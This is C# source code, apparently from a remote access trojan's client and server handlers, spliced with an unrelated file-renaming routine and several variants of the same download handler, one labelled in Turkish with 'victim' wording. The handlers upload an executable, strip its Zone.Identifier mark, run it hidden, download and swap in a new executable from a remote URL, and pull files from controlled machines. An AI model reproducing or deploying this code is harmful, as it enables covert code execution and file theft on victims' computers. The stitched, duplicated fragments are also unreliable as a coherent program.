public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Networking.Client client)
{
if (!RenamedFiles.ContainsKey(command.Id))
{
RenamedFiles.Add(command.Id, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName)));
}
string filePath = RenamedFiles[command.Id];
try
{
if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.HasExecutableIdentifier(command.Block))
{
throw new Exception("No executable file");
}
var destFile = new FileSplitLegacy(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
throw new Exception(destFile.LastError);
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
{
if (RenamedFiles.ContainsKey(command.Id))
{
RenamedFiles.Remove(command.Id);
}
FileHelper.DeleteZoneIdentifier(filePath);
ProcessStartInfo startInfo = new ProcessStartInfo();
if (command.RunHidden)
{
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
}
startInfo.UseShellExecute = false;
startInfo.FileName = filePath;
Process.Start(startInfo);
client.Send(new SetStatus {
Message = "Executed File"
});
}
}
catch (Exception ex)
{
if (RenamedFiles.ContainsKey(command.Id))
{
RenamedFiles.Remove(command.Id);
}
NativeMethods.DeleteFile(filePath);
client.Send(new SetStatus {
Message = $"Execution failed: {ex.Message}"
});
}
}
private void doRename()
{
List <string> parsedTokens = parseTokensFromPattern();
DateTimeReference = DateTime.Now;
foreach (var file in SourceFiles)
{
var computedNewName = Pattern;
foreach (var token in parsedTokens)
{
var tokenKey = token.Substring(0, 1);
if (!Tokens.ContainsKey(tokenKey))
{
throw new UnrecognizedReplacementToken(token);
}
var replacerFunc = Tokens[tokenKey];
computedNewName = replacerFunc(token, file, computedNewName);
}
computedNewName = Path.Combine(Path.GetDirectoryName(file), computedNewName);
if (FileExists(computedNewName))
{
throw new Exception($"Cannot rename {file} to {computedNewName} because the latter already exists");
}
FileSystemCommands.FileMove(file, computedNewName);
SendReport($"Renamed {file} to {computedNewName} using pattern {Pattern}", ReportType.Progress);
RenamedFiles.Add(file, computedNewName);
}
}
public static void HandleDoClientUpdate(DoClientUpdate command, Networking.Client client)
{
// i dont like this updating... if anyone has a better idea feel free to edit it
if (string.IsNullOrEmpty(command.DownloadUrl))
{
if (!RenamedFiles.ContainsKey(command.Id))
{
RenamedFiles.Add(command.Id, FileHelper.GetTempFilePath(".exe"));
}
string filePath = RenamedFiles[command.Id];
try
{
if (command.CurrentBlock == 0 && !FileHelper.HasExecutableIdentifier(command.Block))
{
throw new Exception("No executable file");
}
var destFile = new FileSplitLegacy(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
throw new Exception(destFile.LastError);
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
{
if (RenamedFiles.ContainsKey(command.Id))
{
RenamedFiles.Remove(command.Id);
}
client.Send(new SetStatus {
Message = "Updating..."
});
ClientUpdater.Update(client, filePath);
}
}
catch (Exception ex)
{
if (RenamedFiles.ContainsKey(command.Id))
{
RenamedFiles.Remove(command.Id);
}
NativeMethods.DeleteFile(filePath);
client.Send(new SetStatus {
Message = $"Update failed: {ex.Message}"
});
}
return;
}
new Thread(() =>
{
client.Send(new SetStatus {
Message = "Downloading file..."
});
string tempFile = FileHelper.GetTempFilePath(".exe");
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.DownloadUrl, tempFile);
}
}
catch
{
client.Send(new SetStatus {
Message = "Download failed!"
});
return;
}
client.Send(new SetStatus {
Message = "Replacing executable..."
});
ClientUpdater.Update(client, tempFile);
}).Start();
}
public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet)
{
if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename) || PausedDownloads.ContainsKey(packet.ID))
{
return;
}
if (!Directory.Exists(client.Value.DownloadDirectory))
{
Directory.CreateDirectory(client.Value.DownloadDirectory);
}
if (!Directory.Exists(Path.Combine(client.Value.DownloadDirectory, "temp")))
{
Directory.CreateDirectory(Path.Combine(client.Value.DownloadDirectory, "temp"));
}
string metaFilePath = Path.Combine(client.Value.DownloadDirectory, "temp", packet.ID + ".meta");
string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename);
if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
{
for (int i = 1; i < 100; i++)
{
var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i,
Path.GetExtension(downloadPath));
if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName)))
{
continue;
}
downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
RenamedFiles.Add(packet.ID, newFileName);
break;
}
}
else if (packet.CurrentBlock == 0 && Directory.Exists(downloadPath))
{
for (int i = 1; i < 100; i++)
{
var newFileName = string.Format("{0} ({1})", downloadPath, i);
if (Directory.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName)))
{
continue;
}
downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
RenamedFiles.Add(packet.ID, newFileName);
break;
}
}
else if (packet.CurrentBlock > 0 && (File.Exists(downloadPath) || Directory.Exists(downloadPath)) && RenamedFiles.ContainsKey(packet.ID))
{
downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]);
}
// Handle crashed renamed files too
if (packet.CurrentBlock > 0 && File.Exists(metaFilePath))
{
var tmpMeta = new MetaFile(File.ReadAllBytes(metaFilePath));
if (tmpMeta.LocalPath != downloadPath && tmpMeta.LocalPath != "")
{
downloadPath = tmpMeta.LocalPath;
}
}
if (client.Value == null || client.Value.FrmFm == null)
{
FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open.");
new Packets.ServerPackets.DoDownloadFileCancel(packet.ID).Execute(client);
return;
}
int index = client.Value.FrmFm.GetTransferIndex(packet.ID);
if (index < 0)
{
return;
}
if (!string.IsNullOrEmpty(packet.CustomMessage))
{
if (client.Value.FrmFm == null) // abort download when form is closed
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0);
return;
}
byte[] prevHash = new byte[16];
byte[] hashSample = new byte[FileSplit.MAX_BLOCK_SIZE];
if (File.Exists(downloadPath))
{
using (var fs = new FileStream(downloadPath, FileMode.Open))
{
fs.Seek(-FileSplit.MAX_BLOCK_SIZE, SeekOrigin.End);
fs.Read(hashSample, 0, FileSplit.MAX_BLOCK_SIZE);
}
using (var md5 = MD5.Create())
prevHash = md5.ComputeHash(hashSample);
}
FileSplit destFile = new FileSplit(downloadPath);
if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
{
if (client.Value == null || client.Value.FrmFm == null)
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0);
return;
}
byte[] curHash;
hashSample = new byte[FileSplit.MAX_BLOCK_SIZE];
using (var fs = new FileStream(downloadPath, FileMode.Open))
{
fs.Seek(-FileSplit.MAX_BLOCK_SIZE, SeekOrigin.End);
fs.Read(hashSample, 0, FileSplit.MAX_BLOCK_SIZE);
}
using (var md5 = MD5.Create())
curHash = md5.ComputeHash(hashSample);
decimal progress =
Math.Round((decimal)((double)(packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2);
decimal speed;
int timeLeft = 0;
try
{
speed = Math.Round((decimal)(packet.CurrentBlock * FileSplit.MAX_BLOCK_SIZE) /
(DateTime.Now - packet.StartTime).Seconds, 0);
timeLeft = (int)(((FileSplit.MAX_BLOCK_SIZE * (packet.MaxBlocks - packet.CurrentBlock)) / 1000) / (speed / 1000));
}
catch (DivideByZeroException)
{
speed = 0;
}
MetaFile metaFile;
// Paused/crashed folder downloads require this
if (File.Exists(metaFilePath))
{
metaFile = new MetaFile(File.ReadAllBytes(metaFilePath));
metaFile.CurrentBlock++;
metaFile.TransferId = packet.ID;
metaFile.Progress = progress;
metaFile.PrevHash = prevHash;
metaFile.CurHash = curHash;
metaFile.RemotePath = packet.RemotePath;
metaFile.LocalPath = downloadPath;
metaFile.Type = TransferType.Download;
}
else
{
metaFile = new MetaFile(packet.CurrentBlock + 1, packet.ID, progress, prevHash, curHash, packet.RemotePath, downloadPath, TransferType.Download);
}
metaFile.Save(metaFilePath);
if (client.Value == null || client.Value.FrmFm == null)
{
return;
}
if (CanceledDownloads.ContainsKey(packet.ID))
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1, TimeSpan.FromSeconds(timeLeft), speed);
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
{
if (client.Value.FrmFm == null)
{
return;
}
try
{
File.Delete(metaFilePath);
}
catch
{
}
RenamedFiles.Remove(packet.ID);
if (packet.Type == ItemType.Directory)
{
client.Value.FrmFm.UpdateTransferStatus(index, "Unpacking directory", -1);
var vDir = new VirtualDirectory().DeSerialize(downloadPath);
if (File.Exists(downloadPath + ".bkp"))
{
File.Delete(downloadPath + ".bkp");
}
File.Move(downloadPath, downloadPath + ".bkp");
try
{
vDir.SaveToDisk(Path.GetDirectoryName(downloadPath));
if (File.Exists(downloadPath + ".bkp"))
{
File.Delete(downloadPath + ".bkp");
}
}
catch
{
}
}
client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1);
}
}
public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet)
{
if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename))
{
return;
}
if (!Directory.Exists(client.Value.DownloadDirectory))
{
Directory.CreateDirectory(client.Value.DownloadDirectory);
}
string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename);
if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
{
for (int i = 1; i < 100; i++)
{
var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i,
Path.GetExtension(downloadPath));
if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName)))
{
continue;
}
downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
RenamedFiles.Add(packet.ID, newFileName);
break;
}
}
else if (packet.CurrentBlock > 0 && File.Exists(downloadPath) && RenamedFiles.ContainsKey(packet.ID))
{
downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]);
}
if (client.Value == null || client.Value.FrmFm == null)
{
AnaForm.Instance.KurbanDurumuAyarla(client,
"İndirme iptal edildi, Lütfen Dosya Yöneticisini Açık Tutunuz.");
new DoDownloadFileCancel(packet.ID).Execute(client);
return;
}
var index = client.Value.FrmFm.GetTransferIndex(packet.ID);
if (index < 0)
{
return;
}
if (!string.IsNullOrEmpty(packet.CustomMessage))
{
if (client.Value.FrmFm == null)
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0);
return;
}
var destFile = new FileSplit(downloadPath);
if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
{
if (client.Value == null || client.Value.FrmFm == null)
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0);
return;
}
var progress =
Math.Round((decimal)((packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2);
if (client.Value == null || client.Value.FrmFm == null)
{
return;
}
if (CanceledDownloads.ContainsKey(packet.ID))
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, string.Format("İndiriliyor...({0}%)", progress), -1);
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
{
if (client.Value.FrmFm == null)
{
return;
}
RenamedFiles.Remove(packet.ID);
client.Value.FrmFm.UpdateTransferStatus(index, "Tamamlandı", 1);
}
}
public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet)
{
if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename))
{
return;
}
// don't escape from download directory
if (packet.Filename.IndexOfAny(DISALLOWED_FILENAME_CHARS) >= 0 || Path.IsPathRooted(packet.Filename))
{
// disconnect malicious client
client.Disconnect();
return;
}
if (!Directory.Exists(client.Value.DownloadDirectory))
{
Directory.CreateDirectory(client.Value.DownloadDirectory);
}
string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename);
if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
{
for (int i = 1; i < 100; i++)
{
var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath));
if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName)))
{
continue;
}
downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
RenamedFiles.Add(packet.ID, newFileName);
break;
}
}
else if (packet.CurrentBlock > 0 && File.Exists(downloadPath) && RenamedFiles.ContainsKey(packet.ID))
{
downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]);
}
if (client.Value == null || client.Value.FrmFm == null)
{
FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open.");
new Packets.ServerPackets.DoDownloadFileCancel(packet.ID).Execute(client);
return;
}
int index = client.Value.FrmFm.GetTransferIndex(packet.ID);
if (index < 0)
{
return;
}
if (!string.IsNullOrEmpty(packet.CustomMessage))
{
if (client.Value.FrmFm == null) // abort download when form is closed
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0);
return;
}
FileSplit destFile = new FileSplit(downloadPath);
if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
{
if (client.Value == null || client.Value.FrmFm == null)
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0);
return;
}
decimal progress =
Math.Round((decimal)((double)(packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2);
if (client.Value == null || client.Value.FrmFm == null)
{
return;
}
if (CanceledDownloads.ContainsKey(packet.ID))
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1);
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
{
if (client.Value.FrmFm == null)
{
return;
}
RenamedFiles.Remove(packet.ID);
client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1);
}
}